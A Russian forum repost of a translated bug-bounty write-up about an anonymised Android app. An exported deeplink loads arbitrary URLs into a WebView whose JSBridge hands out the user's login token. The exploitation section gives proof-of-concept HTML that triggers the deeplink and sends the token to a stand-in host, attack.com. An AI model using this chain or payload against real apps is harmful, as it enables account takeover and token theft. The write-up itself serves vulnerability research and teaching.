Уязвимость в компоненте определённого приложения, связанная с отсутствием контроля прав доступа
- удалённый перехват учётной записи пользователя в один клик
- удалённый перехват учётной записи пользователя в один клик
Автор - профессиональный ресерчер, подрабатывающий также "слева". Ниже текст статьи (статья из Wechat) от его имени (перевод)
0x01 Процесс обнаружения уязвимости
Было обнаружено мной в процессе поиска уязвимостей на определённом SRC. Целевым приложением являлось Android-приложение с системой учётных записей.
После получения этого приложения первым шагом является прямая декомпиляция. Инструменты используются стандартные: apktool, dex2jar, jadx.
PS: Здесь рекомендую один открытый проект на GitHub — TTDeDroid. Он просто объединяет вышеупомянутые инструменты, решает проблемы совместимости версий и позволяет выполнять декомпиляцию в один клик, что достаточно удобно: https://github.com/tp7309/TTDeDroid
Предварительный анализ
При поиске уязвимостей в Android-приложениях ключевыми являются несколько основных категорий: безопасность данных (хранение конфиденциальной информации в открытом виде, утечка через логи и т.д.), уязвимости бизнес-логики (в этой части отличий от веб-приложений немного, также возникают из-за дефектов в бизнес-процессах), а также базовые четыре компонента Android (Activity, Service, Broadcast Receiver и Content Provider). Неправильная настройка безопасности этих компонентов также является распространённой проблемой: компоненты могут быть ошибочно настроены как экспортируемые, что позволяет другим приложениям вызывать их, приводя к обходу прав доступа и утечке информации. Например:
· Экспортируемый Activity: позволяет другим приложениям запускать Activity, возможно обходя процессы аутентификации
· Экспортируемый Service: другие приложения могут привязываться к сервису или запускать его, выполняя несанкционированные операции
· Экспортируемый Content Provider: может раскрывать конфиденциальные данные или позволять другим приложениям изменять данные
· Перехват Intent: отсутствие проверки получаемых Intent может привести к обработке вредоносных данных
К сожалению, после простого анализа всех экспортируемых компонентов через файл AndroidManifest.xml я не обнаружил явных проблем. Логи также были чистыми. Кроме того, после запуска сканирования через AppShark результаты в основном оказались ложными срабатываниями.
0x02 Углублённое исследование
Выше были упомянуты несколько категорий уязвимостей, но на самом деле остались две важные поверхности атаки, которые я не озвучил, но с которыми сталкиваюсь чаще всего- это deeplink и webview. Особенно в современных мобильных приложениях, где активно используется webview, вероятность возникновения проблем в них становится выше.
Краткое введение в deeplink:
DeepLink - это специальный механизм ссылок в системе Android, позволяющий приложению реагировать на определённый формат URL и напрямую открывать конкретную страницу приложения или выполнять определённое действие. Когда пользователь нажимает на DeepLink, система Android ищет приложение, способное обработать данный URL scheme, и запускает соответствующий компонент.
XML:
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="myapp" android:host="main"/>
</intent-filter>
</activity>
Например, при наличии вышеуказанной конфигурации я могу открыть ссылку myapp://main в браузере и запустить MainActivity.
При анализе всех deeplink я обнаружил интересную конфигурацию:
XML:
<activity android:theme="@style/" android:name="iActivity" android:exported="true" android:process=":android:taskAffinity="" singleTask" android:autoRemoveFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="" android:host="h5"/>
</intent-filter>
</activity>
Чем она интересна? Её host называется h5. При первом взгляде я подумал, что этот deeplink предназначен для открытия H5-страницы, а это означает, что обязательно будет запущен webview. Если при этом нет ограничений на URL, значит, я могу загружать произвольные страницы. Это точка, которую стоит проанализировать глубже.
Проследив этот activity, я обнаружил, что всё действительно так, как я предполагал: страница загружается в webview на основе параметра url, переданного через deeplink:
Java:
if(scheme.equals(C16899d.m16338n())){
String queryParameter = uri.getQueryParameter("url");
if((!TextUtils.isEmpty(queryParameter)){
try{
bArr = Base64.decode(queryParameter, 0);
} catch(IllegalArgumentException unused) {
bArr = null;
}
if(bArr != null) {
return m12566b(m12563e(new String(bArr)));
}
return null;
}
}
Code:
@SuppressLint({"SetJavaScriptEnabled"})
private void m6461a() {
if(Build.VERSION.SDK_INT >= 19) {
WebView.setWebContentsDebuggingEnabled(!C18265e.f61939a);
}
WebSettings settings = getSettings();
settings.setUseWideViewPort(true);
settings.setLoadWithOverviewMode(true);
settings.setTextZoom(100);
settings.setDomStorageEnabled(true);
settings.setJavaScriptEnabled(true);
settings.setSupportMultipleWindows(false);
settings.setJavaScriptCanOpenWindowsAutomatically(true);
this.f66832d = new C17478a.C17479a(C17969a.m13520a()).mo15131t(this).mo15138b();
}
Здесь я сорвал джекпот! Потому что при анализе всего процесса я обнаружил, что от получения url до загрузки в webview не производится никакой проверки url, за исключением ограничения на протокол file:
Java:
if(uri == null || !"file".equals(uri.getScheme())){
return;
}
WebSettings settings = webView.getSettings();
settings.setAllowFileAccess(true);
settings.setAllowFileAccessFromFileURLs(true);
settings.setAllowUniversalAccessFromFileURLs(true);
Что такое JSBridge?
JSBridge (JavaScript Bridge) — это технология, используемая для реализации двусторонней коммуникации между веб-страницей (H5) и нативным приложением (Native). Она в основном применяется в WebView мобильных приложений, позволяя JavaScript-коду, выполняющемуся на веб-странице, вызывать нативные функции устройства (например, камеру, геолокацию, файловую систему и т.д.), а также позволяя нативному коду вызывать JavaScript-функции для передачи данных или обновления страницы.
Сначала проверим функциональность: напрямую используем target://h5?url=base64(www.baidu.com) для проверки. После открытия в мобильном браузере обнаруживаем, что происходит прямой переход на страницу Baidu.
На данном этапе уязвимость уже существует, но ущерб невелик. Ключевым моментом является анализ того, какие методы зарегистрированы в JSBridge — именно от логики зарегистрированных нативных методов зависит серьёзность этой уязвимости.
Проанализировав зарегистрированные методы, я обнаружил один очень чувствительный метод:
Java:
@InterfaceC17056a(path="/get_token")
public void getSToken(@InterfaceC17057b("") int i, C20552c c20552c) {
Uri uri = this.f516a;
if (uri == null) {
if(c20552c != null) {
c20552c.m5842a(new BridgeResult.C18313a().m12510b(-1, "error"), false);
return;
}
return;
}
// ... логика получения токена
}
Логика этого метода очень проста: получить сохранённый пользователем токен входа в provider, затем через метод обратного вызова вызвать js-метод в webview и передать токен обратно на страницу!
0x03 Эксплуатация
На этом этапе вся цепочка эксплуатации становится полной: мы можем полностью реализовать удалённый перехват учётной записи в один клик:
- Создаём HTML-файл с кодом автоматического перенаправления на target://h5?url=attack.com, где attack.com — вредоносная страница.
- Пользователь переходит на страницу, содержащую автоматическое перенаправление на вредоносный ресурс.
- Страница автоматически активирует deep link target://h5?url=attack.com, этот ссылочный механизм запускает Activity целевого приложения.
- Приложение загружает удалённую вредоносную страницу http://attack.com/m.html
- Вредоносная страница выполняет JavaScript-код, который через интерфейс JSBridge вызывает метод getToken
- Полученная конфиденциальная информация отправляется на сервер, контролируемый злоумышленником: http://attack/data
Привожу часть упрощённого кода:
HTML-страница перенаправления:
HTML:
<html>
<head>
<meta charset="UTF-8">
<title>Перенаправление</title>
</head>
<body>
<script>
window.onload = function(){
window.location.href = "target://h5?url=dGFyZ2V0LmNvbQ==";
}
</script>
</body>
</html>
Вредоносная HTML-страница:
HTML:
<!DOCTYPE html>
<html>
<body>
<script>
// Функция обратного вызова
window.callback = function(response) {
// Отправка данных на сервер
const jsonString = JSON.stringify(data);
const base64Data = btoa(encodeURIComponent(jsonString).replace(/%([0-9A-F]{2})/g,
function(match, p1) {
return String.fromCharCode("0x" + p1);
}
));
const url = "http://attack.com/?data=" + base64Data + "&source=direct_link";
const img = new Image();
img.src = url;
img.style.display = "none";
document.body.appendChild(img);
};
const request = {};
// Параметры запроса
window.bridage.call(JSON.stringify(request));
</script>
</body>
</html>
Вывод. Основная причина этой уязвимости — отсутствие ограничений на входные данные.
=====
От себя: статья показалась мне хорошим примером обычной исследовательской работы. Никаких зеродеев, но автор четко показал метод (путь) исследования, инструменты и результаты, которые можно получить. Доходчиво для непрофессионалов и познавательно.
P.S. А вот с заголовком раздела уже не так просто.
Пример - уязвимости андроида не относится ни ко фрикингу, ни к веб, ни к пентестингу - из существующих на форуме разделов.
Если хочется еще читать статьи подобного уровня - лайк ⬇ - индикатор интереса.
👍18
🔥3
👏4
LIMB